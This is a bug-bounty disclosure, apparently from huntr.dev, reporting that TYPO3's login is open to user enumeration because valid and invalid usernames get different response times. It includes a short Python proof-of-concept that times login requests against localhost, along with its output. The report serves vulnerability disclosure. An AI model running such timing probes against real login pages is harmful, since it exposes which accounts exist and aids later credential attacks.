Lucene search

K
huntrVautia7D519735-2877-4FAD-BD77-ACCDE3E290A7
HistoryAug 25, 2022 - 9:58 p.m.

User Enumeration via Response Timing

2022-08-2521:58:47
vautia
www.huntr.dev
8
login functionality
timing difference
valid user
invalid user
response time
security bug

0.001 Low

EPSS

Percentile

30.8%

Description

There is a significant timing difference in the login functionality for valid and invalid usernames.

Proof of Concept

1. Attempt a Login with a valid user and an invalid user and observe the difference in the response time

Here is a small test script (alternatively we can see the response time in Burp Repeater)

import requests

url = "http://127.0.0.1/typo3/login"
valid_user = {"username": "admin", "userident": "pw", "login_status": "login"}
invalid_user = {"username": "doesnotexist", "userident": "pw", "login_status": "login"}

for _ in range(3):
    r = requests.post(url, data=valid_user)
    print(r.elapsed.total_seconds())

print('---')

for _ in range(3):
    r = requests.post(url, data=invalid_user)
    print(r.elapsed.total_seconds())

Results:

$python3 timing.py 
0.800313
0.778877
0.77845
---
0.021644
0.020045
0.019803

We can see that there is a difference in response time of about 750ms. This of course depends on the hash function the password is hashed with. Note that the rate limit was disabled for this PoC.

0.001 Low

EPSS

Percentile

30.8%

Related for 7D519735-2877-4FAD-BD77-ACCDE3E290A7